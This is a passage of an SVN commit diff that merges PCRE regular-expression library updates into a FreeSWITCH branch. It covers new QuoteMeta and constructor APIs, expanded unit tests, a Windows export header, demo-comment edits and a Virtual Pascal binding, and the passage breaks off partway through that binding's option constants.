+  // Escapes all potentially meaningful regexp characters in
+  // 'unquoted'.  The returned string, used as a regular expression,
+  // will exactly match the original string.  For example,
+  //           1.5-2.0?
+  // may become:
+  //           1\.5\-2\.0\?
+  // Note QuoteMeta behaves the same as perl's QuoteMeta function,
+  // *except* that it escapes the NUL character (\0) as backslash + 0,
+  // rather than backslash + NUL.
+  static string QuoteMeta(const StringPiece& unquoted);
+
+
   /***** Generic matching interface *****/
 
   // Type of match (TODO: Should be restructured as part of RE_Options)
@@ -609,9 +646,19 @@
   // regexp wasn't valid on construction.
   int NumberOfCapturingGroups() const;
 
+  // The default value for an argument, to indicate the end of the argument
+  // list. This must be used only in optional argument defaults. It should NOT
+  // be passed explicitly. Some people have tried to use it like this:
+  //
+  //   FullMatch(x, y, &z, no_arg, &w);
+  //
+  // This is a mistake, and will not work.
+  static Arg no_arg;
+
  private:
 
-  void Init(const char* pattern, const RE_Options* options);
+  void Init(const string& pattern, const RE_Options* options);
+  void Cleanup();
 
   // Match against "text", filling in "vec" (up to "vecsize" * 2/3) with
   // pairs of integers for the beginning and end positions of matched
@@ -655,11 +702,6 @@
   pcre*         re_full_;       // For full matches
   pcre*         re_partial_;    // For partial matches
   const string* error_;         // Error indicator (or points to empty string)
-
-  // Don't allow the default copy or assignment constructors --
-  // they're expensive and too easy to do by accident.
-  RE(const RE&);
-  void operator=(const RE&);
 };
 
 }   // namespace pcrecpp

Copied: freeswitch/branches/seven/libs/pcre/pcrecpp_internal.h (from rev 14471, freeswitch/trunk/libs/pcre/pcrecpp_internal.h) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcrecpp_internal.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/pcrecpp_internal.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,71 @@
+/*************************************************
+*       Perl-Compatible Regular Expressions      *
+*************************************************/
+
+/*
+Copyright (c) 2005, Google Inc.
+All rights reserved.
+
+-----------------------------------------------------------------------------
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the name of the University of Cambridge nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+-----------------------------------------------------------------------------
+*/
+
+
+#ifndef PCRECPP_INTERNAL_H
+#define PCRECPP_INTERNAL_H
+
+/* When compiling a DLL for Windows, the exported symbols have to be declared
+using some MS magic. I found some useful information on this web page:
+http://msdn2.microsoft.com/en-us/library/y4h7bcy6(VS.80).aspx. According to the
+information there, using __declspec(dllexport) without "extern" we have a
+definition; with "extern" we have a declaration. The settings here override the
+setting in pcre.h. We use:
+
+  PCRECPP_EXP_DECL       for declarations
+  PCRECPP_EXP_DEFN       for definitions of exported functions
+
+*/
+
+#ifndef PCRECPP_EXP_DECL
+#  ifdef _WIN32
+#    ifndef PCRE_STATIC
+#      define PCRECPP_EXP_DECL       extern __declspec(dllexport)
+#      define PCRECPP_EXP_DEFN       __declspec(dllexport)
+#    else
+#      define PCRECPP_EXP_DECL       extern
+#      define PCRECPP_EXP_DEFN
+#    endif
+#  else
+#    define PCRECPP_EXP_DECL         extern
+#    define PCRECPP_EXP_DEFN
+#  endif
+#endif
+
+#endif  /* PCRECPP_INTERNAL_H */
+
+/* End of pcrecpp_internal.h */

Modified: freeswitch/branches/seven/libs/pcre/pcrecpp_unittest.cc (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcrecpp_unittest.cc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcrecpp_unittest.cc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,4 +1,6 @@
-// Copyright (c) 2005, Google Inc.
+// -*- coding: utf-8 -*-
+//
+// Copyright (c) 2005 - 2006, Google Inc.
 // All rights reserved.
 //
 // Redistribution and use in source and binary forms, with or without
@@ -31,10 +33,13 @@
 //
 // TODO: Test extractions for PartialMatch/Consume
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <stdio.h>
 #include <cassert>
 #include <vector>
-#include "config.h"
 #include "pcrecpp.h"
 
 using pcrecpp::StringPiece;
@@ -105,8 +110,8 @@
       initial_size = VirtualProcessSize();
       printf("Size after 50000: %llu\n", initial_size);
     }
-    char buf[100];
-    snprintf(buf, sizeof(buf), "pat%09d", i);
+    char buf[100];  // definitely big enough
+    sprintf(buf, "pat%09d", i);
     RE newre(buf);
   }
   uint64 final_size = VirtualProcessSize();
@@ -208,87 +213,103 @@
     const char *original;
     const char *single;
     const char *global;
+    int global_count;         // the expected return value from ReplaceAll
   };
   static const ReplaceTest tests[] = {
     { "(qu|[b-df-hj-np-tv-z]*)([a-z]+)",
       "\\2\\1ay",
       "the quick brown fox jumps over the lazy dogs.",
       "ethay quick brown fox jumps over the lazy dogs.",
-      "ethay ickquay ownbray oxfay umpsjay overay ethay azylay ogsday." },
+      "ethay ickquay ownbray oxfay umpsjay overay ethay azylay ogsday.",
+      9 },
     { "\\w+",
       "\\0-NOSPAM",
       "paul.haahr@google.com",
       "paul-NOSPAM.haahr@google.com",
-      "paul-NOSPAM.haahr-NOSPAM@google-NOSPAM.com-NOSPAM" },
+      "paul-NOSPAM.haahr-NOSPAM@google-NOSPAM.com-NOSPAM",
+      4 },
     { "^",
       "(START)",
       "foo",
       "(START)foo",
-      "(START)foo" },
+      "(START)foo",
+      1 },
     { "^",
       "(START)",
       "",
       "(START)",
-      "(START)" },
+      "(START)",
+      1 },
     { "$",
       "(END)",
       "",
       "(END)",
-      "(END)" },
+      "(END)",
+      1 },
     { "b",
       "bb",
       "ababababab",
       "abbabababab",
-      "abbabbabbabbabb" },
+      "abbabbabbabbabb",
+       5 },
     { "b",
       "bb",
       "bbbbbb",
       "bbbbbbb",
-      "bbbbbbbbbbbb" },
+      "bbbbbbbbbbbb",
+      6 },
     { "b+",
       "bb",
       "bbbbbb",
       "bb",
-      "bb" },
+      "bb",
+      1 },
     { "b*",
       "bb",
       "bbbbbb",
       "bb",
-      "bb" },
+      "bb",
+      1 },
     { "b*",
       "bb",
       "aaaaa",
       "bbaaaaa",
-      "bbabbabbabbabbabb" },
+      "bbabbabbabbabbabb",
+      6 },
     { "b*",
       "bb",
       "aa\naa\n",
       "bbaa\naa\n",
-      "bbabbabb\nbbabbabb\nbb" },
+      "bbabbabb\nbbabbabb\nbb",
+      7 },
     { "b*",
       "bb",
       "aa\raa\r",
       "bbaa\raa\r",
-      "bbabbabb\rbbabbabb\rbb" },
+      "bbabbabb\rbbabbabb\rbb",
+      7 },
     { "b*",
       "bb",
       "aa\r\naa\r\n",
       "bbaa\r\naa\r\n",
-      "bbabbabb\r\nbbabbabb\r\nbb" },
+      "bbabbabb\r\nbbabbabb\r\nbb",
+      7 },
 #ifdef SUPPORT_UTF8
     { "b*",
       "bb",
       "\xE3\x83\x9B\xE3\x83\xBC\xE3\x83\xA0\xE3\x81\xB8",   // utf8
       "bb\xE3\x83\x9B\xE3\x83\xBC\xE3\x83\xA0\xE3\x81\xB8",
-      "bb\xE3\x83\x9B""bb""\xE3\x83\xBC""bb""\xE3\x83\xA0""bb""\xE3\x81\xB8""bb" },
+      "bb\xE3\x83\x9B""bb""\xE3\x83\xBC""bb""\xE3\x83\xA0""bb""\xE3\x81\xB8""bb",
+      5 },
     { "b*",
       "bb",
       "\xE3\x83\x9B\r\n\xE3\x83\xBC\r\xE3\x83\xA0\n\xE3\x81\xB8\r\n",   // utf8
       "bb\xE3\x83\x9B\r\n\xE3\x83\xBC\r\xE3\x83\xA0\n\xE3\x81\xB8\r\n",
       ("bb\xE3\x83\x9B""bb\r\nbb""\xE3\x83\xBC""bb\rbb""\xE3\x83\xA0"
-       "bb\nbb""\xE3\x81\xB8""bb\r\nbb") },
+       "bb\nbb""\xE3\x81\xB8""bb\r\nbb"),
+      9 },
 #endif
-    { "", NULL, NULL, NULL, NULL }
+    { "", NULL, NULL, NULL, NULL, 0 }
   };
 
 #ifdef SUPPORT_UTF8
@@ -304,8 +325,9 @@
     CHECK(re.Replace(t->rewrite, &one));
     CHECK_EQ(one, t->single);
     string all(t->original);
-    CHECK(re.GlobalReplace(t->rewrite, &all) > 0);
+    const int replace_count = re.GlobalReplace(t->rewrite, &all);
     CHECK_EQ(all, t->global);
+    CHECK_EQ(replace_count, t->global_count);
   }
 
   // One final test: test \r\n replacement when we're not in CRLF mode
@@ -313,14 +335,14 @@
     RE re("b*", RE_Options(PCRE_NEWLINE_CR).set_utf8(support_utf8));
     assert(re.error().empty());
     string all("aa\r\naa\r\n");
-    CHECK(re.GlobalReplace("bb", &all) > 0);
+    CHECK_EQ(re.GlobalReplace("bb", &all), 9);
     CHECK_EQ(all, string("bbabbabb\rbb\nbbabbabb\rbb\nbb"));
   }
   {
     RE re("b*", RE_Options(PCRE_NEWLINE_LF).set_utf8(support_utf8));
     assert(re.error().empty());
     string all("aa\r\naa\r\n");
-    CHECK(re.GlobalReplace("bb", &all) > 0);
+    CHECK_EQ(re.GlobalReplace("bb", &all), 9);
     CHECK_EQ(all, string("bbabbabb\rbb\nbbabbabb\rbb\nbb"));
   }
   // TODO: test what happens when no PCRE_NEWLINE_* flag is set.
@@ -445,6 +467,81 @@
   CHECK(re4.FullMatch(text_bad) == false);
 }
 
+// A meta-quoted string, interpreted as a pattern, should always match
+// the original unquoted string.
+static void TestQuoteMeta(string unquoted, RE_Options options = RE_Options()) {
+  string quoted = RE::QuoteMeta(unquoted);
+  RE re(quoted, options);
+  CHECK(re.FullMatch(unquoted));
+}
+
+// A string containing meaningful regexp characters, which is then meta-
+// quoted, should not generally match a string the unquoted string does.
+static void NegativeTestQuoteMeta(string unquoted, string should_not_match,
+                                  RE_Options options = RE_Options()) {
+  string quoted = RE::QuoteMeta(unquoted);
+  RE re(quoted, options);
+  CHECK(!re.FullMatch(should_not_match));
+}
+
+// Tests that quoted meta characters match their original strings,
+// and that a few things that shouldn't match indeed do not.
+static void TestQuotaMetaSimple() {
+  TestQuoteMeta("foo");
+  TestQuoteMeta("foo.bar");
+  TestQuoteMeta("foo\\.bar");
+  TestQuoteMeta("[1-9]");
+  TestQuoteMeta("1.5-2.0?");
+  TestQuoteMeta("\\d");
+  TestQuoteMeta("Who doesn't like ice cream?");
+  TestQuoteMeta("((a|b)c?d*e+[f-h]i)");
+  TestQuoteMeta("((?!)xxx).*yyy");
+  TestQuoteMeta("([");
+  TestQuoteMeta(string("foo\0bar", 7));
+}
+
+static void TestQuoteMetaSimpleNegative() {
+  NegativeTestQuoteMeta("foo", "bar");
+  NegativeTestQuoteMeta("...", "bar");
+  NegativeTestQuoteMeta("\\.", ".");
+  NegativeTestQuoteMeta("\\.", "..");
+  NegativeTestQuoteMeta("(a)", "a");
+  NegativeTestQuoteMeta("(a|b)", "a");
+  NegativeTestQuoteMeta("(a|b)", "(a)");
+  NegativeTestQuoteMeta("(a|b)", "a|b");
+  NegativeTestQuoteMeta("[0-9]", "0");
+  NegativeTestQuoteMeta("[0-9]", "0-9");
+  NegativeTestQuoteMeta("[0-9]", "[9]");
+  NegativeTestQuoteMeta("((?!)xxx)", "xxx");
+}
+
+static void TestQuoteMetaLatin1() {
+  TestQuoteMeta("3\xb2 = 9");
+}
+
+static void TestQuoteMetaUtf8() {
+#ifdef SUPPORT_UTF8
+  TestQuoteMeta("Pl\xc3\xa1\x63ido Domingo", pcrecpp::UTF8());
+  TestQuoteMeta("xyz", pcrecpp::UTF8());            // No fancy utf8
+  TestQuoteMeta("\xc2\xb0", pcrecpp::UTF8());       // 2-byte utf8 (degree symbol)
+  TestQuoteMeta("27\xc2\xb0 degrees", pcrecpp::UTF8());  // As a middle character
+  TestQuoteMeta("\xe2\x80\xb3", pcrecpp::UTF8());   // 3-byte utf8 (double prime)
+  TestQuoteMeta("\xf0\x9d\x85\x9f", pcrecpp::UTF8()); // 4-byte utf8 (music note)
+  TestQuoteMeta("27\xc2\xb0"); // Interpreted as Latin-1, but should still work
+  NegativeTestQuoteMeta("27\xc2\xb0",               // 2-byte utf (degree symbol)
+                        "27\\\xc2\\\xb0",
+                        pcrecpp::UTF8());
+#endif
+}
+
+static void TestQuoteMetaAll() {
+  printf("Testing QuoteMeta\n");
+  TestQuotaMetaSimple();
+  TestQuoteMetaSimpleNegative();
+  TestQuoteMetaLatin1();
+  TestQuoteMetaUtf8();
+}
+
 //
 // Options tests contributed by
 // Giuseppe Maxia, CTO, Stardata s.r.l.
@@ -667,6 +764,35 @@
   Test_all_options();
 }
 
+static void TestConstructors() {
+  printf("Testing constructors\n");
+
+  RE_Options options;
+  options.set_dotall(true);
+  const char *str = "HELLO\n" "cruel\n" "world";
+
+  RE orig("HELLO.*world", options);
+  CHECK(orig.FullMatch(str));
+
+  RE copy1(orig);
+  CHECK(copy1.FullMatch(str));
+
+  RE copy2("not a match");
+  CHECK(!copy2.FullMatch(str));
+  copy2 = copy1;
+  CHECK(copy2.FullMatch(str));
+  copy2 = orig;
+  CHECK(copy2.FullMatch(str));
+
+  // Make sure when we assign to ourselves, nothing bad happens
+  orig = orig;
+  copy1 = copy1;
+  copy2 = copy2;
+  CHECK(orig.FullMatch(str));
+  CHECK(copy1.FullMatch(str));
+  CHECK(copy2.FullMatch(str));
+}
+
 int main(int argc, char** argv) {
   // Treat any flag as --help
   if (argc > 1 && argv[1][0] == '-') {
@@ -701,8 +827,11 @@
   /***** FullMatch with no args *****/
 
   CHECK(RE("h.*o").FullMatch("hello"));
-  CHECK(!RE("h.*o").FullMatch("othello"));
-  CHECK(!RE("h.*o").FullMatch("hello!"));
+  CHECK(!RE("h.*o").FullMatch("othello"));     // Must be anchored at front
+  CHECK(!RE("h.*o").FullMatch("hello!"));      // Must be anchored at end
+  CHECK(RE("a*").FullMatch("aaaa"));           // Fullmatch with normal op
+  CHECK(RE("a*?").FullMatch("aaaa"));          // Fullmatch with nongreedy op
+  CHECK(RE("a*?\\z").FullMatch("aaaa"));       // Two unusual ops
 
   /***** FullMatch with args *****/
 
@@ -746,6 +875,24 @@
   CHECK_EQ(s, string("ruby"));
   CHECK_EQ(i, 1234);
 
+  // Ignore non-void* NULL arg
+  CHECK(RE("he(.*)lo").FullMatch("hello", (char*)NULL));
+  CHECK(RE("h(.*)o").FullMatch("hello", (string*)NULL));
+  CHECK(RE("h(.*)o").FullMatch("hello", (StringPiece*)NULL));
+  CHECK(RE("(.*)").FullMatch("1234", (int*)NULL));
+#ifdef HAVE_LONG_LONG
+  CHECK(RE("(.*)").FullMatch("1234567890123456", (long long*)NULL));
+#endif
+  CHECK(RE("(.*)").FullMatch("123.4567890123456", (double*)NULL));
+  CHECK(RE("(.*)").FullMatch("123.4567890123456", (float*)NULL));
+
+  // Fail on non-void* NULL arg if the match doesn't parse for the given type.
+  CHECK(!RE("h(.*)lo").FullMatch("hello", &s, (char*)NULL));
+  CHECK(!RE("(.*)").FullMatch("hello", (int*)NULL));
+  CHECK(!RE("(.*)").FullMatch("1234567890123456", (int*)NULL));
+  CHECK(!RE("(.*)").FullMatch("hello", (double*)NULL));
+  CHECK(!RE("(.*)").FullMatch("hello", (float*)NULL));
+
   // Ignored arg
   CHECK(RE("(\\w+)(:)(\\d+)").FullMatch("ruby:1234", &s, (void*)NULL, &i));
   CHECK_EQ(s, string("ruby"));
@@ -797,27 +944,34 @@
     CHECK(!RE("(\\d+)").FullMatch("4294967296", &v));
   }
 #ifdef HAVE_LONG_LONG
+# if defined(__MINGW__) || defined(__MINGW32__)
+#   define LLD "%I64d"
+#   define LLU "%I64u"
+# else
+#   define LLD "%lld"
+#   define LLU "%llu"
+# endif
   {
     long long v;
     static const long long max_value = 0x7fffffffffffffffLL;
     static const long long min_value = -max_value - 1;
-    char buf[32];
+    char buf[32];  // definitely big enough for a long long
 
     CHECK(RE("(-?\\d+)").FullMatch("100", &v)); CHECK_EQ(v, 100);
     CHECK(RE("(-?\\d+)").FullMatch("-100",&v)); CHECK_EQ(v, -100);
 
-    snprintf(buf, sizeof(buf), "%lld", max_value);
+    sprintf(buf, LLD, max_value);
     CHECK(RE("(-?\\d+)").FullMatch(buf,&v)); CHECK_EQ(v, max_value);
 
-    snprintf(buf, sizeof(buf), "%lld", min_value);
+    sprintf(buf, LLD, min_value);
     CHECK(RE("(-?\\d+)").FullMatch(buf,&v)); CHECK_EQ(v, min_value);
 
-    snprintf(buf, sizeof(buf), "%lld", max_value);
+    sprintf(buf, LLD, max_value);
     assert(buf[strlen(buf)-1] != '9');
     buf[strlen(buf)-1]++;
     CHECK(!RE("(-?\\d+)").FullMatch(buf, &v));
 
-    snprintf(buf, sizeof(buf), "%lld", min_value);
+    sprintf(buf, LLD, min_value);
     assert(buf[strlen(buf)-1] != '9');
     buf[strlen(buf)-1]++;
     CHECK(!RE("(-?\\d+)").FullMatch(buf, &v));
@@ -828,12 +982,12 @@
     unsigned long long v;
     long long v2;
     static const unsigned long long max_value = 0xffffffffffffffffULL;
-    char buf[32];
+    char buf[32];  // definitely big enough for a unsigned long long
 
     CHECK(RE("(-?\\d+)").FullMatch("100",&v)); CHECK_EQ(v, 100);
     CHECK(RE("(-?\\d+)").FullMatch("-100",&v2)); CHECK_EQ(v2, -100);
 
-    snprintf(buf, sizeof(buf), "%llu", max_value);
+    sprintf(buf, LLU, max_value);
     CHECK(RE("(-?\\d+)").FullMatch(buf,&v)); CHECK_EQ(v, max_value);
 
     assert(buf[strlen(buf)-1] != '9');
@@ -985,11 +1139,14 @@
   CHECK(RE("h.*o").PartialMatch("hello!"));
   CHECK(RE("((((((((((((((((((((x))))))))))))))))))))").PartialMatch("x"));
 
+  /***** other tests *****/
+
   RadixTests();
   TestReplace();
   TestExtract();
   TestConsume();
   TestFindAndConsume();
+  TestQuoteMetaAll();
   TestMatchNumberPeculiarity();
 
   // Check the pattern() accessor
@@ -1011,13 +1168,13 @@
     printf("Testing UTF-8 handling\n");
 
     // Three Japanese characters (nihongo)
-    const char utf8_string[] = {
+    const unsigned char utf8_string[] = {
          0xe6, 0x97, 0xa5, // 65e5
          0xe6, 0x9c, 0xac, // 627c
          0xe8, 0xaa, 0x9e, // 8a9e
          0
     };
-    const char utf8_pattern[] = {
+    const unsigned char utf8_pattern[] = {
          '.',
          0xe6, 0x9c, 0xac, // 627c
          '.',
@@ -1109,6 +1266,9 @@
     VERBOSE_TEST  = true;
   TestOptions();
 
+  // Test the constructors
+  TestConstructors();
+
   // Done
   printf("OK\n");
 

Modified: freeswitch/branches/seven/libs/pcre/pcrecpparg.h.in (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcrecpparg.h.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcrecpparg.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,6 +35,8 @@
 #include <stdlib.h>    // for NULL
 #include <string>
 
+#include <pcre.h>
+
 namespace pcrecpp {
 
 class StringPiece;
@@ -46,12 +48,13 @@
 class _RE_MatchObject {
  public:
   static inline bool Parse(const char* str, int n, void* dest) {
+    if (dest == NULL) return true;
     T* object = reinterpret_cast<T*>(dest);
     return object->ParseFrom(str, n);
   }
 };
 
-class Arg {
+class PCRECPP_EXP_DEFN Arg {
  public:
   // Empty constructor so we can declare arrays of Arg
   Arg();
@@ -148,18 +151,18 @@
   inline Arg CRadix(type* ptr) { \
     return Arg(ptr, Arg::parse_ ## name ## _cradix); }
 
-MAKE_INTEGER_PARSER(short,              short);
-MAKE_INTEGER_PARSER(unsigned short,     ushort);
-MAKE_INTEGER_PARSER(int,                int);
-MAKE_INTEGER_PARSER(unsigned int,       uint);
-MAKE_INTEGER_PARSER(long,               long);
-MAKE_INTEGER_PARSER(unsigned long,      ulong);
-#if @pcre_have_long_long@
-MAKE_INTEGER_PARSER(long long,          longlong);
+MAKE_INTEGER_PARSER(short,              short)     /*                        */
+MAKE_INTEGER_PARSER(unsigned short,     ushort)    /*                        */
+MAKE_INTEGER_PARSER(int,                int)       /* Don't use semicolons   */
+MAKE_INTEGER_PARSER(unsigned int,       uint)      /* after these statement  */
+MAKE_INTEGER_PARSER(long,               long)      /* because they can cause */
+MAKE_INTEGER_PARSER(unsigned long,      ulong)     /* compiler warnings if   */
+#if @pcre_have_long_long@                          /* the checking level is  */
+MAKE_INTEGER_PARSER(long long,          longlong)  /* turned up high enough. */
+#endif                                             /*                        */
+#if @pcre_have_ulong_long@                         /*                        */
+MAKE_INTEGER_PARSER(unsigned long long, ulonglong) /*                        */
 #endif
-#if @pcre_have_ulong_long@
-MAKE_INTEGER_PARSER(unsigned long long, ulonglong);
-#endif
 
 #undef PCRE_IS_SET
 #undef PCRE_SET_OR_CLEAR

Modified: freeswitch/branches/seven/libs/pcre/pcredemo.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcredemo.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcredemo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,18 +4,28 @@
 
 /* This is a demonstration program to illustrate the most straightforward ways
 of calling the PCRE regular expression library from a C program. See the
-pcresample documentation for a short discussion.
+pcresample documentation for a short discussion ("man pcresample" if you have
+the PCRE man pages installed).
 
-Compile thuswise:
+In Unix-like environments, compile this program thuswise:
+
   gcc -Wall pcredemo.c -I/usr/local/include -L/usr/local/lib \
     -R/usr/local/lib -lpcre
 
 Replace "/usr/local/include" and "/usr/local/lib" with wherever the include and
-library files for PCRE are installed on your system. Only some operating
+library files for PCRE are installed on your system. You don't need -I and -L
+if PCRE is installed in the standard system libraries. Only some operating
 systems (e.g. Solaris) use the -R option.
-*/
 
+Building under Windows:
 
+If you want to statically link this program against a non-dll .a file, you must
+define PCRE_STATIC before including pcre.h, otherwise the pcre_malloc() and
+pcre_free() exported functions will be declared __declspec(dllimport), with
+unwanted results. So in this environment, uncomment the following line. */
+
+/* #define PCRE_STATIC */
+
 #include <stdio.h>
 #include <string.h>
 #include <pcre.h>
@@ -128,8 +138,8 @@
 
 /*************************************************************************
 * We have found the first match within the subject string. If the output *
-* vector wasn't big enough, set its size to the maximum. Then output any *
-* substrings that were captured.                                         *
+* vector wasn't big enough, say so. Then output any substrings that were *
+* captured.                                                              *
 *************************************************************************/
 
 /* The output vector wasn't big enough */
@@ -154,7 +164,7 @@
 /**************************************************************************
 * That concludes the basic part of this demonstration program. We have    *
 * compiled a pattern, and performed a single match. The code that follows *
-* first shows how to access named substrings, and then how to code for    *
+* shows first how to access named substrings, and then how to code for    *
 * repeated matches on the same subject.                                   *
 **************************************************************************/
 

Copied: freeswitch/branches/seven/libs/pcre/pcregexp.pas (from rev 14471, freeswitch/trunk/libs/pcre/pcregexp.pas) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcregexp.pas	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/pcregexp.pas	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,820 @@
+{
+  pcRegExp - Perl compatible regular expressions for Virtual Pascal
+  (c) 2001 Peter S. Voronov aka Chem O'Dun <petervrn@yahoo.com>
+
+  Based on PCRE library interface unit for Virtual Pascal.
+  (c) 2001 Alexander Tokarev <dwalin@dwalin.ru>
+
+  The current PCRE version is: 3.7
+
+  This software must be distributed as Freeware.
+
+  The PCRE library is written by: Philip Hazel <ph10@cam.ac.uk>
+  Copyright (c) 1997-2004 University of Cambridge
+
+  AngelsHolocaust 4-11-04 updated to use version v5.0
+  (INFO: this is regex-directed, NFA)
+  AH:  9-11-04 - pcre_free: removed var, pcre already gives the ptr, now
+			    everything works as it should (no more crashes)
+		 -> removed CheckRegExp because pcre handles errors perfectly
+      10-11-04 - added pcError (errorhandling), pcInit
+      13-11-04 - removed the ErrorPos = 0 check -> always print erroroffset
+      17-10-05 - support for \1-\9 backreferences in TpcRegExp.GetReplStr
+      17-02-06 - added RunTimeOptions: caller can set options while searching
+      19-02-06 - added SearchOfs(): let PCRE use the complete string and offset
+		 into the string itself
+      20-12-06 - support for version 7.0
+      27.08.08 - support for v7.7
+}
+
+{$H+} {$DEFINE PCRE_3_7} {$DEFINE PCRE_5_0} {$DEFINE PCRE_7_0} {$DEFINE PCRE_7_7}
+
+Unit pcregexp;
+
+Interface
+
+uses objects;
+
+Type
+ PpcRegExp = ^TpcRegExp;
+// TpcRegExp = object
+ TpcRegExp = object(TObject)
+  MatchesCount: integer;
+  RegExpC, RegExpExt : Pointer;
+  Matches:Pointer;
+  RegExp: shortstring;
+  SourceLen: integer;
+  PartialMatch : boolean;
+  Error : boolean;
+  ErrorMsg : Pchar;
+  ErrorPos : integer;
+  RunTimeOptions: Integer; // options which can be set by the caller
+  constructor Init(const ARegExp : shortstring; AOptions : integer; ALocale : Pointer);
+  function Search(AStr: Pchar; ALen : longint) : boolean; virtual;
+  function SearchNext( AStr: Pchar; ALen : longint) : boolean; virtual;
+  function SearchOfs ( AStr: Pchar; ALen, AOfs : longint) : boolean; virtual;
+  function MatchSub(ANom: integer; var Pos, Len : longint) : boolean; virtual;
+  function MatchFull(var Pos, Len : longint) : boolean; virtual;
+  function GetSubStr(ANom: integer; AStr: Pchar) : string; virtual;
+  function GetFullStr(AStr: Pchar) : string; virtual;
+  function GetReplStr(AStr: Pchar; const ARepl: string) : string; virtual;
+  function GetPreSubStr(AStr: Pchar) : string; virtual;
+  function GetPostSubStr(AStr: Pchar) : string; virtual;
+  function ErrorStr : string; virtual;
+  destructor Done; virtual;
+ end;
+
+ function pcGrepMatch(WildCard, aStr: string; AOptions:integer; ALocale : Pointer): Boolean;
+ function pcGrepSub(WildCard, aStr, aRepl: string; AOptions:integer; ALocale : Pointer): string;
+
+ function pcFastGrepMatch(WildCard, aStr: string): Boolean;
+ function pcFastGrepSub(WildCard, aStr, aRepl: string): string;
+
+{$IFDEF PCRE_5_0}
+ function pcGetVersion : pchar;
+{$ENDIF}
+
+ function pcError (var pRegExp : Pointer) : Boolean;
+ function pcInit  (const Pattern: Shortstring; CaseSens: Boolean) : Pointer;
+
+Const { Options }
+ PCRE_CASELESS         = $0001;
+ PCRE_MULTILINE        = $0002;
+ PCRE_DOTALL           = $0004;
+ PCRE_EXTENDED         = $0008;
+ PCRE_ANCHORED         = $0010;
+ PCRE_DOLLAR_ENDONLY   = $0020;
+ PCRE_EXTRA            = $0040;
+ PCRE_NOTBOL           = $0080;
+ PCRE_NOTEOL           = $0100;
+ PCRE_UNGREEDY         = $0200;
+ PCRE_NOTEMPTY         = $0400;
+{$IFDEF PCRE_5_0}
+ PCRE_UTF8             = $0800;
+ PCRE_NO_AUTO_CAPTURE  = $1000;
+ PCRE_NO_UTF8_CHECK    = $2000;
+ PCRE_AUTO_CALLOUT     = $4000;
+ PCRE_PARTIAL          = $8000;
+{$ENDIF}
+{$IFDEF PCRE_7_0}
+ PCRE_DFA_SHORTEST     = $00010000;
+ PCRE_DFA_RESTART      = $00020000;
+ PCRE_FIRSTLINE        = $00040000;
+ PCRE_DUPNAMES         = $00080000;
+ PCRE_NEWLINE_CR       = $00100000;
+ PCRE_NEWLINE_LF       = $00200000;
+ PCRE_NEWLINE_CRLF     = $00300000;
+ PCRE_NEWLINE_ANY      = $00400000;
+ PCRE_NEWLINE_ANYCRLF  = $00500000;
+
+ PCRE_NEWLINE_BITS     = PCRE_NEWLINE_CR or PCRE_NEWLINE_LF or PCRE_NEWLINE_ANY;
+
+{$ENDIF}
+{$IFDEF PCRE_7_7}
+ PCRE_BSR_ANYCRLF      = $00800000;
+ PCRE_BSR_UNICODE      = $01000000;
+ PCRE_JAVASCRIPT_COMPAT= $02000000;
+{$ENDIF}
+
+ PCRE_COMPILE_ALLOWED_OPTIONS = PCRE_ANCHORED + PCRE_AUTO_CALLOUT + PCRE_CASELESS  +
+				PCRE_DOLLAR_ENDONLY + PCRE_DOTALL + PCRE_EXTENDED  +
+				PCRE_EXTRA + PCRE_MULTILINE + PCRE_NO_AUTO_CAPTURE +
+				PCRE_UNGREEDY + PCRE_UTF8 + PCRE_NO_UTF8_CHECK
+				{$IFDEF PCRE_7_0}
+				+ PCRE_DUPNAMES + PCRE_FIRSTLINE + PCRE_NEWLINE_BITS
+				{$ENDIF}
+				{$IFDEF PCRE_7_7}
+				+ PCRE_BSR_ANYCRLF + PCRE_BSR_UNICODE + PCRE_JAVASCRIPT_COMPAT
+				{$ENDIF}
+				;
+
+ PCRE_EXEC_ALLOWED_OPTIONS = PCRE_ANCHORED + PCRE_NOTBOL + PCRE_NOTEOL +
